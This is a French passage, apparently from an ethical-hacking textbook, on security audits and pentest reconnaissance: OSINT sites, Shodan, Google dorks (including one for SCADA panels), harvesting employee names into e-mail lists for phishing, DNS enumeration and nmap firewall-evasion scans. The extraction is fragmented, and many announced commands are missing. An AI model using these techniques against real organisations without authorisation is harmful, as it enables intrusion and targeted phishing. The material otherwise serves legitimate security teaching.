Comme il a été dit précédemment, un autre élément de l’audit de sécurité est l’analyse des risques
du SI.
La gestion des risques est définie par l’ISO 27001 (révisée en 2013) comme l’ensemble des activités
coordonnées visant à diriger et piloter un organisme vis-à-vis du risque. On dégage en général trois
finalités à la gestion des risques pour les SI :
Bien qu’un grand nombre de celles-ci ne soient plus utilisées ou soient confidentielles, on estime qu’il
existe plus de 200 méthodes de gestion des risques.
Cette multiplicité entraîne une très grande diversité dans les approches des risques de sécurité.
À côté de ces méthodes d’analyse des risques, il existe une famille de normes ISO, la norme ISO
27005 (révisée en 2011), qui fait une description développée des exigences en termes de gestion des
risques liés à la sécurité de l’information.
Les trois méthodes les plus populaires sont actuellement les suivantes :
En France, l’ANSSI préconise la méthode EBIOS, arguant du fait que cette méthode est
opérationnelle, modulaire et alignée avec les normes françaises. C’est une boîte à outils
indispensable pour toute réflexion sur la sécurité des systèmes d’information (SSI).
La méthode dispose de bases de connaissances riches et mises à jour, d’un logiciel libre et gratuit, de
formations et d’une documentation variée (http://www.ssi.gouv.fr/ebios - http://www.club-
ebios.org).
Le club EBIOS
Restrict
ed
Le test d’intrusion
Un test d’intrusion (penetration test ou pentest en anglais) est une méthode d’évaluation de la
sécurité d’un système d’information.
Cela consiste à simuler l’attaque d’un utilisateur malintentionné, voire d’un logiciel malveillant.
Les risques dus à une mauvaise configuration d’un système, d’un défaut de programmation ou
encore d’une vulnérabilité liée à la solution testée sont alors analysés.
Le principal but de cette manœuvre est de trouver des vulnérabilités exploitables en vue de proposer
un plan de contre-mesures destinées à améliorer la sécurité du système ciblé.
Le test d’intrusion viendra valider ou non les failles potentielles révélées lors d’un audit de
vulnérabilités de par l’exploitation de celles-ci et la récupération de preuves qui viendront définir et
classifier les risques encourus dans le rapport d’audit.
Ils utilisent également des outils de reporting afin de répertorier les incidents détectés :
Dradis : http://dradisframework.com/
Restrict
ed
L’audit dit en "grey box" ou "boîte grise" : les auditeurs disposent des connaissances d’un
utilisateur standard du système d’information.
L’audit dit en "white box" ou "boîte blanche" : les auditeurs disposent du maximum
d’informations techniques avant de démarrer l’analyse.
La stratégie d’audit dite "en aveugle" (blind strategy), qui s’effectue en boîte noire et qui
consiste à prévenir les administrateurs réseau de la société et à ne fournir
aucun renseignement au pentester.
La stratégie d’audit spécifique "boîte grise" (Grey box strategy) : les équipes IT sont
prévenues des scénarios et fournissent des informations limitées au pentester.
La stratégie d’audit spécifique "double boîte grise" (double gray box strategy) : idem que la
précédente, mais les équipes IT sont informées à l’avance des champs d’action et des dates
de tests, mais pas des scénarios de tests.
La stratégie d’audit dite en "tandem" (tandem strategy) : elle se fait en boîte blanche, le
pentester travaille en collaboration avec les équipes IT, qui lui fournissent toutes les
informations. Elle permet de tester les contrôles et le niveau de protection du système ciblé,
mais pas son comportement.
La stratégie d’audit "inversée" (reversal strategy) : les équipes IT ne sont pas prévenues, mais
les informations sur le système sont données. Cette stratégie permet de tester la réactivité
des équipes IT face aux attaques.
L’expérience montre que nombre de tests d’intrusion sont effectués en boîte blanche ou en boîte
grise, le mode boîte noire étant très onéreux pour l’entreprise. Les rares occasions où il sera utilisé
concerneront généralement une partie restreinte du système d’information.
Quant aux stratégies d’audit, elles seront en fait définies par le client en fonction du niveau de
contraintes qu’il acceptera et de son cahier des charges.
Dans un cadre légal, défini dans le contrat, cette collecte passera du type passif au type actif, soit :
Scan et mapping du réseau dans le périmètre des actions définies dans le cahier des charges.
Restrict
ed
L’ingénierie sociale faisant l’objet d’un chapitre à part entière dans ce livre, intéressons-nous à la
collecte d’informations. En audit boîte noire, le pentester n’aura à sa disposition que peu
d’informations comme un site, un domaine une personne ou une entreprise. Néanmoins, Internet va
l’aider car il existe de nombreuses sources de données publiques (OSINT) et légales permettant de
récupérer de précieuses informations à partir des renseignements en notre possession. Nous allons
en passer quelques-unes en revue.
Le service Whois
1. Présentation
Whois est un service de recherche fourni par les registres internet, par exemple les registres internet
régionaux (RIR) ou bien les registres de noms de domaine permettant d’obtenir des informations sur
une adresse IP ou un nom de domaine.
Il permet :
d’obtenir des informations sur le propriétaire d’un nom de domaine (contact administratif,
technique et éventuellement de facturation) et sur les serveurs de noms associés au
domaine ;
Les informations administratives concernant les adresses IP sont répertoriées par cinq organismes
dans le monde appelés Regional Internet
Registry(https://en.wikipedia.org/wiki/Regional_Internet_Registry) :
APNIC (Asia Pacific Network Information Center, whois.apnic.net) pour l’Asie et le Pacifique.
ARIN (American Registry for Internet Numbers, whois.arin.net) pour l’Amérique du Nord et
l’Afrique subsaharienne.
Exemple
Le but est de récolter un maximum d’informations sur celui-ci pour préparer un audit de sécurité.
Sous Linux, la commande whois existe dans une console shell.
Restrict
ed
Whois sur domaine eni.fr
On obtient alors des informations telles que le nom, l’adresse, le téléphone, l’e-mail et bien d’autres
renseignements sur le contact du domaine :
On peut également utiliser les outils disponibles sur le Net comme sur le site de l’AFNIC (Association
française pour le nommage internet en coopération).
Restrict
ed
Il existe également des applications graphiques sous Windows
Restrict
ed
La liste n’est pas exhaustive.
1. Les basiques
Société.com
Le site DNS History (dnshistory.org) recense les anciennes entrées des domaines de l’Internet.
Le site dnshistory.org
La Wayback Machine
En termes de recherche de renseignements sur les personnes et leur environnement, qu’il soit
personnel ou professionnel, les réseaux sociaux de tous types sont devenus incontournables pour la
collecte d’informations.
LinkedIn, Viadeo...
Les sites professionnels comme Viadeo et LinkedIn sont de bonnes sources en renseignements
métier :
Il existe par ailleurs des sites de recherche de personnes spécialisés sur un réseau (LinkedIn, GitHub,
Twitter, etc.) tels que Free People Search Tool (https://freepeoplesearchtool.com).
Restrict
ed
Le site Free People Search Tool
Il existe également des métamoteurs permettant de lancer des recherches sur plusieurs réseaux
sociaux. Checkusernames (http://checkusernames.com/) permet une recherche sur plus de 160
réseaux sociaux :
L’outil Pipl (https://pipl.com/) permet, quant à lui, de préciser une situation géographique.
Le site pipl.com
Il a ceci d’intéressant qu’il classifie les résultats par dossiers et thématiques ou visuellement par
cercles ou plan de site.
La recherche par image, aléatoire par le passé, devient une piste sérieuse à explorer dans le domaine
de la collecte d’informations. Plusieurs sites, parmi lesquels Google, proposent désormais une
recherche par image avec des résultats assez probants. Il est conseillé d’essayer plusieurs images
pour de meilleurs résultats.
Ainsi, le site TinEye (https://tineye.com/) donne d’assez bons résultats en termes de reconnaissance
faciale :
Il existe de nombreux moteurs de recherche sur les personnes et les entreprises et il est facile de s’y
perdre. Le site dsfc.net, remis à jour en 2020, propose un bon récapitulatif de ce qui peut exister sur
le Net : https://www.dsfc.net/internet/moteurs-internet/moteurs-recherche-personnes/
Un autre : https://marcodiversi.com/blog/alternative-search-engines/
Restrict
ed
4. Les agrégateurs d’informations spécialisés
L’agrégateur Netcraft
SEOprofiler (https://www.seoprofile.com/) est un site qui, initialement, est prévu pour vous aider à
référencer correctement votre site. Dans le cadre d’une prise d’empreinte, il peut également donner
de précieux renseignements (backlinks remontés...).
Recherche SEOprofiler
Dans le même genre, le site IntoDNS (https://intodns.com) vous donne une cartographie
relativement complète d’un DNS.
Spyse (https://spyse.com) est une solution OSINT de recherche de ressources internet, de failles
potentielles et d’évaluation de la sécurité des domaines ciblés.
Cette solution est payante mais offre cinq jours d’essais avec toutes ses fonctionnalités.
L’utilisation est simple : on se connecte sur le site, on s’inscrit et on teste le domaine choisi.
Restrict
ed
HackSearch Pro permet d’utiliser des agrégateurs comme nous venons de le faire, mais autorise
également des techniques Google Hack que nous verrons par la suite.
Osint Browser est un add-on pour Firefox qui réunit une collection d’outils en ligne très utiles à la
prise d’empreinte.
Il existe également des extensions utilisant des moteurs de recherche d’images en ligne comme par
exemple Search by Image.
Pour terminer avec les extensions de navigateurs, il faut citer EXIF Viewer Pro, qui vous donnera de
précieux renseignements sur les métadonnées d’une image.
Il existe bien d’autres outils OSINT en ligne sur la toile, le site OSINT Essentials
(https://www.osintessentials.com) en référence une bonne partie.
Restrict
ed
Les moteurs de recherche de périphériques connectés
1. Shodan : la référence
Shodan (https://shodan.io) est un moteur de recherche créé en 2009 par John Matherly. C’est un site
web spécialisé dans la recherche d’objets connectés à Internet, et ayant donc une adresse IP visible
sur le réseau. On l’appelle également le Google des périphériques connectés.
Il permet ainsi de trouver une variété de serveurs web, de routeurs, ainsi que de
nombreux périphériques tels que des imprimantes ou des caméras.
Shodan est également un outil utilisé par des chercheurs en sécurité et par les pirates pour trouver
des dispositifs mal sécurisés et en prendre le contrôle à l’aide d’un simple navigateur web.
Shodan a fait peau neuve et arbore désormais un background noir du plus bel effet.
Shodan est un site accessible depuis un navigateur web, deux plugins sont disponibles pour Firefox et
Chrome.
L’inscription est gratuite et donne droit à 50 résultats par recherche. Un système de crédits permet
d’accéder à plus de réponses.
Le fonctionnement de Shodan est simple, il utilise les réponses types aux tentatives de connexion des
périphériques connectés.
L’essentiel des données provient des bannières, que l’on peut assimiler aux métadonnées du ou des
logiciels exécutés sur un appareil connecté.
Prenons l’exemple d’un matériel Cisco : le message type généré lors d’une connexion réussie « Last-
modified: date » servira en partie dans le filtre placé dans la zone de recherche Shodan.
Les deux réponses types à une tentative de connexion sur un matériel Cisco
Restrict
ed
country : le pays de recherche suivi du code de deux lettres (FR pour France).
De nombreux résultats s’offrent à nous. Modérons un peu notre enthousiasme : Shodan indexe à un
instant T et certains matériels peuvent avoir été mis à jour depuis.
Néanmoins, nous tombons assez rapidement sur une interface d’administration accessible sur le Net.
On constate que de nombreux matériels mal configurés sont accessibles facilement avec cet outil.
On peut également, par exemple, rechercher un site FTP où l’utilisateur Anonymous est autorisé.
On peut également chercher des webcams disponibles soit en utilisant les recherches déjà
répertoriées, soit en tapant une nouvelle requête.
Généralement, on utilisera le mot de passe constructeur mis par défaut, on trouve ceux-ci sur
certains sites spécialisés, tels que : https://ipvm.com/reports/ip-cameras-default-passwords-
directory
Recherche de caméra
Plus dangereux, on peut également rechercher des périphériques connectés qui pilotent des
installations de type industriel encore appelées ICS pour Industrial Control System.
Inutile de préciser qu’avec des équipements mal configurés et accessibles, les conséquences
matérielles possibles peuvent être catastrophiques.
Restrict
ed
Périphériques de contrôle de systèmes industriels
Quand on sait qu’il n’est pas rare sur le Net de trouver des objets connectés configurés avec le mot
de passe par défaut, il est facile en recherchant celui-ci de s’y connecter.
Quelques mesures de sécurité sont à prendre pour tout périphérique matériel connecté :
Thingful rassemble toutes les informations relatives à la source de ces données pour constituer les
pages de profil de ces objets connectés autour du profil Twitter de leur possesseur.
Recherche Thingful
Thingful classe les objets connectés du moteur de recherche dans huit catégories :
La santé
L’environnement
La domotique
Les transports
L’énergie
La faune et la flore
L’expérimentation
Le reste
Restrict
ed
Censys (https://censys.io) est un moteur de recherche créé par des chercheurs de l’université du
Michigan.
Il collecte toutes les informations trouvées sur les périphériques connectés en IPv4 sur le Net.
Il utilise le scanner de ports open source ZMap et remplit une base de données accessible via une
interface web, une API, ou il permet le téléchargement de listings en texte brut.
Il autorise des recherches par mots-clés, par IP, par nom de domaine, par protocole, par certificat...
permettant ainsi de trouver de mauvaises configurations.
Restrict
ed
La recherche d’informations avec Google Hack
1. Le Big Data
Une masse impressionnante de données sont disponibles sur la toile, nous créons environ 2,5
trillions d’octets de données tous les jours. Nos données personnelles sont enregistrées par les
géants d’Internet : Google, Yahoo, Apple, Facebook, Amazon... forts de leur savoir-faire en la
matière.
Ces acteurs incontournables du Web amassent des sommes astronomiques via la masse des données
personnelles récupérées de toutes parts, c’est ce que l’on nomme communément le Big Data.
La géolocalisation
Dès lors que l’utilisateur autorise cette fonction, c’est la porte ouverte à ceux qui traquent les
données. Il recevra des publicités bien spécifiques de sociétés commerciales se trouvant sur son
parcours.
Le clic
Chacun de nos clics est non seulement recueilli mais aussi analysé grâce à des algorithmes très
puissants. Le champion en la matière est Google. Chaque clic permet d’affiner notre profil et donc de
monétiser nos clics en revendant les informations à des sociétés commerciales.
Par exemple : situation familiale, opinions politiques, préférences sexuelles, goûts en matière
musicale, littéraire ou cinématographique.
À partir de ces données, les algorithmes sont capables de savoir de quoi nous avons besoin
aujourd’hui et demain.
Si un bébé arrive dans la famille, vous serez inondé de publicités en tout genre pour des vêtements
ou du matériel, vous pourriez même recevoir des catalogues personnalisés par courrier sans rien
avoir demandé.
Une somme d’argent phénoménale est entre les mains d’une poignée d’entreprises. Ces sociétés ne
cesseront jamais de s’enrichir à notre insu.
Même si certains internautes configurent leur navigateur pour ne pas être traqués, les géants du Big
Data le perçoivent et concentrent leurs efforts sur ceux qui ne se sont pas protégés.
Google est le moteur de recherche le plus fréquenté dans le monde. Conçu sur une idée de Larry
Page et Sergey Brin en 1998, il représente en 2021, 92,15 % de parts de marché en France dans les
moteurs de recherche.
Ce chiffre impressionnant est en partie lié à la bonne image que possède Google auprès du public.
Sa prise en main est immédiate, les pages ne sont pas surchargées et s’affichent rapidement.
Il est particulièrement sobre, léger, et les résultats des recherches sont très pertinents.
Google est un passage obligé dès lors que l’on souhaite populariser le contenu de son site web.
Restrict
ed
On va donc chercher à mettre à disposition un maximum d’informations pour que Google analyse le
contenu du site le plus intelligemment possible.
Une recherche sur Google doit permettre de trouver rapidement le site (référencement).
Google indexant tout ce qu’il trouve, il dispose également de données qui ne doivent surtout pas être
mises à disposition du public.
On utilisera pour cela les opérateurs basiques et avancés reconnus par Google.
Web Crawler, Web Robots ou encore Web Spider, ces outils scrutent les pages du Web. Ils basculent
d’une page à l’autre grâce aux liens hypertextes contenus dans ces pages, en mémorisant le contenu.
Le contenu des pages (textes, images, documents, métadonnées, etc.) est indexé et stocké : il servira
de base au moteur de recherche.
Le Web Crawler se décompose en un agent qui analyse une page sur une URL donnée et le Crawler
Manager chargé de gérer, trier, stocker en base de données les informations récupérées par l’agent.
Restrict
ed
Fonctionnement du Web Crawler
7. Le référencement Google
Il s’agit d’un système de classement dont le principe est simple : plus une page possède de liens vers
elle, plus elle est populaire et plus elle doit apparaître en position haute dans les résultats.
Il y a quelques années, le système de page rank a pu être exploité pour forcer certaines
correspondances abusives et sans pertinence. Par exemple : en tapant "escroc", on retrouvait en
résultat une page de présentation d’une célébrité.
Cette technique, nommée Google bombing, consistait simplement à créer de faux sites dans lesquels
on mettait des liens indiquant que cette célébrité était un escroc.
Les opérateurs basiques permettent de lier, de préciser ou d’offrir plusieurs alternatives à une
recherche Google :
+ (and) : permet de chercher les pages web regroupant tous les mots liés par ce signe (ex. :
eni+acissi+2017).
Restrict
ed
- (not) : permet de retirer une expression de la recherche Google (ex. informatique -
Windows : pages contenant le terme "informatique", mais ne contenant pas "Windows").
| (le pipe (ou booléen, touches [Alt Gr] + 6 du clavier) permet de considérer deux ou
plusieurs motifs dans la recherche (ex. admin+(password | passwd) : la recherche se fera sur
toutes les pages contenant le terme "admin" et le terme "password" ou "passwd").
" (guillemets) : recherche les expressions exactes encadrées par les guillemets
(ex. "Apprendre l’attaque pour se défendre").
.. : deux nombres séparés par deux points permettent de rechercher tous les nombres de la
plage spécifiée (ex. smartphone 200..400 euros : téléphone dont le prix est compris entre
200 et 400 euros).
cache: donne la dernière version de la page web indexée par le robot Google.
define: permet d’obtenir une définition du terme recherché ; Wikipédia arrive souvent en
tête des résultats (ex. define:hacking).
intext: fonctionne de la même manière que allintext mais un seul mot peut être recherché
(ex. intext:wannacry).
intitle: suit le même principe, mais la recherche n’est possible que sur un seul terme.
allinurl: pour que la recherche s’effectue uniquement sur les URL des pages web pour un ou
plusieurs mots.
movie: recherche les séances de cinéma en fonction d’un code postal ou un nom de ville
(ex. movie:Maubeuge.
showtime: suit le même principe, mais élargi aux spectacles et activités culturelles de la ville
passée en argument.
stocks: en indiquant le nom de l’entreprise ou son code action, permet de suivre le cours de
ses actions en bourse (ex. stocks:nissan).
Restrict
ed
info: donne certaines informations sur le site web passé en argument (ex. info:eni.fr) et
donne l’accès à d’autres informations (cache, pages similaires...).
location: dédié à Google Actualités, permet de trouver les derniers articles sur le lieu passé
en argument.
source: réservé lui aussi à Google Actualités, permet de préciser la source des informations à
récupérer (ex. source:la voix du nord location:avesnes sur helpe).
inpostauthor: permet de faire une recherche sur les blogs (Google Blog Search) pour trouver
les articles écrits par un auteur passé en argument (ex. inpostauthor:korben).
inblogtitle: réservé également à Google Blog Search, permet de limiter une recherche aux
titres de blogs (ex. inblogtitle:metasploit).
inposttitle: permet, de la même façon, de limiter la recherche aux titres des articles publiés.
Restrict
ed
En sécurité informatique, les Google Dorks sont une méthode qui permet d’utiliser le moteur de
recherche Google (ou un autre moteur de recherche) pour récupérer des informations sensibles. Les
Google Dorks sont l’utilisation d’opérateurs spécifiques et de techniques de recherche avancées dans
les moteurs de recherche.
Le but est de trouver des signatures particulières, des suites de caractères ou des mots spécifiques
combinés à des opérateurs de recherche proposés par Google pour obtenir des résultats très précis.
Pour trouver un Google Dork, on étudie les bannières et traces récurrentes laissées par une
application web.
Par exemple, le plugin Yoast WordPress SEO affiche le texte suivant dans le code source de la page
web :
Restrict
ed
Recherche de Google Dorks spécifiques à WordPress
Restrict
ed
Recherche de personnel
Recherche de sous-domaines :
Cette technique se nomme site mapping et consiste à récupérer tous les sous-domaines d’un site. On
peut ainsi connaître une partie de la topologie DNS du nom de domaine ciblé.
Site listing :
Cette technique permet de faire du site listing et de voir tout le contenu d’un répertoire du site.
Cette technique permet donc de chercher des fichiers audio ou vidéo stockés sur des sites, en
forgeant simplement une requête comme suit :
Recherche de caméras :
Restrict
ed
Recherche de matériel connecté
De la même façon que pour une recherche traditionnelle, on peut également rechercher des
systèmes de supervisions industriels aussi appelés SCADA (Supervisory Control and Data Acquisition)
avec les GoogleDorks :
inurl:/Portal/Portal.mwsl
On accède alors à l’interface web de contrôleurs Siemens quasi identiques à ceux touchés par
l’attaque Stuxnet.
Il est possible d’accéder au contenu d’un site par la technique du directory listing. Il faut donc
prévenir cela en interdisant le listing dans la configuration de votre serveur HTTP, en restreignant
l’accès. Le moyen le plus propre consisterait à mettre un contrôle d’accès via un fichier .htaccess,
mais ceci n’est pas toujours faisable. Un autre moyen plus simple consisterait simplement à mettre
une page index.html, index.htm ou index.php dont le contenu est vide. Ainsi, le directory listing sera
plus difficilement réalisable par un moteur de recherche. On veillera également à utiliser des noms
de fichiers et de répertoires non conventionnels. On évitera donc d’avoir un user.html, db/, sql/, etc.
Au niveau des crawlers, il faut interdire les Crawling Robots avec le fichier robots.txt. Il définit avec
précision le comportement des robots ainsi que le moyen d’empêcher qu’ils ne parcourent un site. Il
suffit de créer un fichier nommé robots.txt accessible en lecture par tous, à la racine du site web. On
y placera une liste d’instructions indiquant la portée que l’on donne aux robots pour ce site.
L’ensemble des robots respectant ce consensus est listé dans une base de données
accessible librement sur le site Robotstxt.org.
Restrict
ed
# on interdit l'accès au répertoire /foo1/
Disallow:/foo1/
# et à tous les fichiers .doc du répertoire /foo2/
Disallow:/foo2/*.doc
# on interdit tous les autres robots User-Agent:*
Disallow:/
Il utilise les techniques Google Hack, Bing Hack et celles d’autres applications.
Application SearchDiggity
C’est une application qui fonctionne sur Windows et se présente comme une interface avec
différentes fonctionnalités.
Elle permet ainsi de rechercher du code sur des techniques de hack, des artefacts (login, password...)
dans des fichiers SWF décompilés et bien d’autres choses.
Restrict
ed
Applications graphiques dédiées à la recherche d’informations
1. Maltego
Maltego (https://www.maltego.com/) est une application graphique qui édite des graphes dits
"relationnels". Elle permet de retrouver des relations entre différentes informations comme les
adresses IP, les NDD, les DNS, les réseaux sociaux ou encore des documents. Ce logiciel est
développé en Java par la société sud-africaine Paterva.
Elle permet de réaliser rapidement de nombreux types de recherches d’informations sur ce que l’on
appellera des entités (personnes, sites web, réseaux, AS, adresses e-mail, expressions, adresses IP...).
Elle utilise des méthodes appelées transforms et utilise de nombreuses sources d’information
(moteurs de recherche, réseaux sociaux, DNS...).
Maltego Case File (version gratuite à usage commercial) : permet de visualiser les connexions
dans les données hors ligne et ne nécessite pas l’utilisation de transforms.
Il est nécessaire de s’enregistrer pour utiliser Maltego. Pour ceux qui utilisent Kali Linux, Maltego est
préinstallé et il suffira de donner e-mail et mot de passe à l’installeur. Pour les autres, les liens pour
s’enregistrer et télécharger Maltego se trouvent au bas de la page d’accueil.
Maltego : installation
L’utilisation de Maltego est très simple. On dispose d’une scène sur laquelle sont déposées les entités
(utilisateurs, mails, domaines...) que l’on choisit dans la colonne de gauche par cliquer-glisser.
On applique ensuite des transforms (méthodes) sur ces entités en les choisissant avec un clic sur le
bouton droit. Afin de ne pas se retrouver avec un graphique relationnel incompréhensible, il est
conseillé de travailler avec plusieurs scènes que l’on peut ajouter avec le bouton + situé en haut à
gauche de la fenêtre.
L’interface Maltego
Restrict
ed
Scénarios de recherches Maltego
2. Foca Free
https://www.elevenpaths.com/innovation-labs/technologies/foca
https://github.com/ElevenPaths/FOCA/releases/tag/v3.4.7.0
Foca est une application d’énumération qui fonctionne sous Windows et qui permet de faire une
collecte intéressante de données (documents, extraction de métadonnées, serveurs, bannières...).
Il fonctionne sous forme de projet affecté à un domaine. Il suffit de lui indiquer un domaine à
analyser, de le paramétrer pour retrouver des documents accessibles dans le domaine en lui
précisant les extensions recherchées (.pdf, .doc...) et de le lancer.
Foca intègre également les recherches Shodan, Bing et Google. Il faudra pour cela vous inscrire sur
leur site et récupérer les codes API à rentrer dans la configuration de Foca.
Configuration de Foca
La colonne de gauche vous permet de visualiser les machines, serveurs, domaines, adresses IP et
rôles en cliquant sur l’onglet Network (si le site autorise le listing). Foca indexe également les
documents accessibles sur le site et vous permet d’en extraire les métadonnées en les téléchargeant.
Restrict
ed
Foca : affichage des données trouvées
Restrict
ed
Les scripts de recherche d’informations
1. TheHarvester
TheHarvester est un outil qui permet de récupérer des comptes e-mail, des noms d’utilisateurs, des
noms de domaines et sous-domaines à partir de différentes sources publiques. TheHarvester signifie
en français "la moissonneuse" et c’est exactement ce que cet outil réalise : une moisson des données
qu’on lui a demandées.
theharvester.py -h
TheHarvester : la moissonneuse
Ce script permet de récupérer des hôtes, des e-mails et d’autres informations sur un domaine.
Rapport TheHarvester
2. CrossLinked
Qui ne connaît pas LinkedIn, plateforme de réseau professionnelle très utilisée de nos jours pour le
recrutement ? De fait, elle est également une excellente source de renseignements et est largement
utilisée lors de collectes d’informations destinées aux tests d’intrusions, mais également aux attaques
malveillantes.
Généralement, on utilise les méthodes de recherches avancées des moteurs de recherche, par
exemple : site : linkedin.com/in ’nom de l’entreprise’
Le profil d’une entreprise nous permet de récupérer une liste d’employés et de leurs postes.
Restrict
ed
CrossLinked est un outil d’énumération créé par "m8r0wn" (https://m8r0wn.com) qui va nous
permettre d’automatiser notre recherche, il va utiliser les moteurs de recherche Bing et Google avec
des requêtes spécialement conçues pour récupérer les noms des employés de l’entreprise visée.
Il formate ensuite les résultats en fonction des instructions passées en ligne de commande (mails,
domaine...) et crée un fichier "names.txt" avec les résultats.
Pour l’installer :
cd crosslinked
python3 crosslinked -h
Un exemple de récupération de noms d’employés reformatés en adresse e-mail pour une éventuelle
campagne de phishing :
python3 crosslinked.py -f '{first}.{last}@domain.fr 'domain'
Lancement de CrossLinked
Les noms formatés qui pourront servir pour une campagne de phishing :
Le fichier généré
Restrict
ed
3. Emailfinder
Emailfinder est un autre script de recherche d’e-mails via certains moteurs de recherche, qui pourra
compléter la recherche de CrossLinked. Pour l’installer, rien de plus simple. En console, il faut taper :
ensuite :
4. Parsero
Parsero est un script Python permettant de récupérer les informations du fichier robots.txt dans un
site. Ce fichier indique aux robots indexeurs du web de ne pas enregister les adresses de pages qui y
sont spécifiées. Parsero lit celui-ci et vérifie si ces pages sont accessibles ou pas.
Restrict
ed
Parsero : affichage du fichier robots.txt
5. Dirsearch
Dirsearch est un utilitaire écrit en Python qui recherche les fichiers et répertoires accessibles sur un
site web. Il est disponible sur Kali sous forme de paquet à installer. Pour le lancer de façon basique, il
suffit de préciser l’adresse du site web en lui passant l’argument -u (URL) :
Il propose un rapport en différents formats (XML, CSV, JSON, TXT...) et une option (-r) qui permet de
scanner en récursivité. Les sites modernes bloquant le fuzzing de répertoires, il serait intéressant
d’avoir une option pour l’utilisation de proxies.
Restrict
ed
Énumération DNS : commandes et scripts
1. Nslookup
Nslookup est un programme informatique de recherche d’informations dans le DNS (Domain Name
System), qui associe noms de domaine et adresses IP. Natif sous Windows, il est également implanté
sous Linux.
Nslookup permet donc d’interroger les serveurs DNS pour obtenir les informations définies pour un
domaine déterminé.
Utilisation de nslookup
2. Host
Host est un utilitaire Unix permettant d’afficher les redirections DNS. Il fut développé et distribué
sous licence ISC par l’Internet Systems Consortium (ISC).
Il permet également de demander un transfert de zone DNS qui ne devrait pas être autorisé
normalement, mais qui fonctionne encore sur certains domaines.
3. Dig
La commande dig est un outil flexible pour le test et l’interrogation de serveurs DNS. Elle permet de
construire toutes les formes de requêtes et de visualiser l’ensemble des informations des réponses.
Restrict
ed
La commande dig
Avec ces trois commandes disponibles, nous pouvons déjà automatiser une recherche de noms
d’hôtes, par exemple avec un script shell.
4. Dnsenum
Écrit par l’un des développeurs de Kali Linux, Filip Waeytens (barbsie), dnsenum permet de récupérer
rapidement pas mal d’informations DNS sur un domaine donné (serveurs NS, transfert de zone, sous-
domaines, serveurs MX, force brute DNS...).
La commande suivante lance dnsenum en lui demandant de faire un force brute sur la recherche de
domaines secondaires, en utilisant un fichier dns.txt. Le paramètre -w déclenche un whois sur les
adresses découvertes.
Script dnsenum.pl
Restrict
ed
On peut demander en plus la mise à jour du fichier dns.txt avec les sous-domaines trouvés, et le
parsing des résultats Google :
5. Subwalker
Subwalker est un script shell créé par m8r0wn (https://m8r0wn.com) qui utilise les outils
d’énumération de domaines suivants :
SubScraper (https://github.com/m8r0wn/subscraper)
Sublist3r (https://github.com/aboul3la/Sublist3r)
AssetFinder (https://github.com/tomnomnom/assetfinder)
sudo ./install.sh
./subwalker.sh <domaine>
6. Dnsrecon
Dnsrecon est un script écrit en Python qui effectue une recherche DNS inversée sur chaque adresse
IP d’un sous-réseau donné. Ce script peut s’avérer très utile quand le transfert de zone échoue et que
l’on dispose d’une adresse IP.
Restrict
ed
On utilisera le script de recherche inversée dnsrecon sur le réseau 18x.x.X.0/24 en notation CIDR
(Classless Inter-Domain Routing).
7. Fierce
Fierce.pl est un script de recherche DNS, il recherche les DNS du domaine, essaye un transfert de
zone et ensuite fait un force brute sur les noms ; on peut également lui adjoindre un fichier host.txt.
Il est de base sur Kali Linux.
Utilisation de fierce
8. Knockpy
Knockpy, écrit en Python, permet d’énumérer des sous-domaines sur un domaine cible via une liste
de mots. Il teste le transfert de zone et prend en charge les requêtes sur les sous-domaines de
VirusTotal, vous pouvez définir l’API_KEY de Virus Total dans le fichier config.json.
Restrict
ed
Aide Knockpy
Il permet également d’enregistrer les résultats dans un fichier au format CSV ou JSON (-c ou -j) et de
préciser un dictionnaire autre que celui par défaut (-w).
9. SecLists
SecLists est une collection de multiples types de listes utilisées lors des évaluations de sécurité,
collectées en un seul endroit. On y trouve des dictionnaires pour les noms d’utilisateurs, les mots de
passe, les URL, les Shells web et bien d’autres catégories.
Restrict
ed
SecLists : une collection de dictionnaires
On peut ainsi utiliser SecLists avec l’outil Python knockpy en choisissant son dictionnaire :
10. Bluto
Bluto est un framework de DNS Information Gathering développé en Python par Darryl Lane
(@darryllane101). Il récupère les informations DNS (sous-domaines, transfert de zone, énumération,
mails, staff...), analyse les métadonnées des documents disponibles et peut utiliser l’API de Email
Hunter pour plus d’informations (inscription sur https://hunter.io/).
Pour l’installer :
Restrict
ed
Les scanners de ports
1. Nmap
Nmap (Network Mapper) est un outil open source d’exploration réseau utilisé dans les audits de
sécurité. C’est une application qui fonctionne sur Linux et Windows et qui se présente comme une
interface avec différentes fonctionnalités paramétrables. Il peut indifféremment scanner un réseau
ou une adresse unique.
Un port peut être ouvert (open), filtré (filtered), fermé (closed) ou non filtré (unfiltered). Il permet le
scan des ports TCP (Transmission Control Protocol) et UDP (User Datagram Protocol).
Le protocole TCP
Le protocole TCP est un protocole orienté connexion, il permet à deux machines de contrôler l’état
de la transmission.
Les données sont formatées en segments de longueur variable afin de les remettre au
protocole IP.
2 - Réponse par envoi d’une trame avec flag ACK à 1 et demande de synchronisation avec SYN à 1.
Restrict
ed
RST : si ce drapeau est à 1, la connexion est réinitialisée.
a. Utilisation de nmap
Syntaxe
Découverte des machines en ligne et qui répondent au ping (l’option -vv rend nmap plus
bavard) :
Scan UDP :
La connexion TCP est initiée normalement (SYN, SYN/ACK), mais est réinitialisée par nmap avant de
passer en mode connecté afin de ne pas être enregistrée par la machine distante.
Restrict
ed
Exemple de scan discret :
b. Services et protocoles
L’option --version-trace donne plus d’informations. Elle utilise des scripts NSE. Si le service n’est pas
reconnu, on peut soumettre le fingerprint donné par nmap à l’adresse
suivante : https://nmap.org/cgi-bin/submit.cgi
Restrict
ed
Le système de la machine (l’option --osscan-guess nous donnera une liste d’OS potentiels) :
nmap -A 192.168.1.1
c. Évasion de firewall
Une technique d’évasion est de ne pas scanner trop vite. L’option -T[0-5] le permet, 0 étant la plus
lente. Par défaut, nmap est réglé à 3 :
Le scan SYN étant maintenant facilement détecté par les firewalls et IDS, le scan ACK est souvent
utilisé, car il permet de détecter ces systèmes :
Par rapport au scan ACK, l’option -sW (scan TCP Windows) permet de différencier ports ouverts et
fermés (et non unfiltered), certains systèmes renvoyant une taille de fenêtre positive sur un port
ouvert et une taille nulle sur un port fermé :
Une autre technique d’évasion de firewall est de fragmenter les paquets. L’option -f ou -ff le permet :
nmap -f 192.168.1.1
Restrict
ed
Scan avec fragmentation des paquets
Sur un réseau local, le scan ARP ping est plus rapide qu’un scan en ping classique. De plus, un hôte
(même derrière un firewall) est obligé de répondre à une requête ARP :
On peut également "noyer" son adresse IP parmi d’autres avec l’option decoy (-D) :
